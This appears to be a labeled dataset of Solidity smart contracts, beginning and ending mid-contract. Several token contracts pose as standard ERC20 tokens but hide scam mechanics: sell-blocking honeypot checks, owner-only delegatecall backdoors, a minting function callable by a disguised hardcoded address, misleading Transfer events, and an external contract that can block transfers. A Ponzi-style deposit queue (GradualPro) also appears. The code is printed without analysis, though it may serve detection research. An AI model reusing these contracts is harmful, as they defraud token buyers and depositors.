function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Hunter King Token";
string public constant TOKEN_SYMBOL = "HKT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x56a5002ec38F56BdA9Ca67268c33648D94c5784E;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,313 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,451 |
pragma solidity ^0.4.25;
contract GradualPro {
address constant private FIRST_SUPPORT = 0xf8F04b23dACE12841343ecf0E06124354515cc42;
address constant private TECH_SUPPORT = 0x988f1a2fb17414c95f45E2DAaaA40509F5C9088c;
uint constant public FIRST_PERCENT = 4;
uint constant public TECH_PERCENT = 1;
uint constant public MULTIPLIER = 121;
uint constant public MAX_LIMIT = 2 ether;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_LIMIT, "Deposit is too big");
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value * MULTIPLIER / 100)));
uint ads = msg.value * FIRST_PERCENT / 100;
require(FIRST_SUPPORT.call.value(ads).gas(gasleft())());
uint tech = msg.value * TECH_PERCENT / 100;
TECH_SUPPORT.transfer(tech);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i = 0; i < queue.length; i++) {
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect) {
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
} else {
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if (gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 4,808 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract WTF is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "fees.wtf";
string public symbol = "WTF";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 1,116 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Happinu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,541 |
pragma solidity ^0.4.11;
contract ILiquidPledgingPlugin {
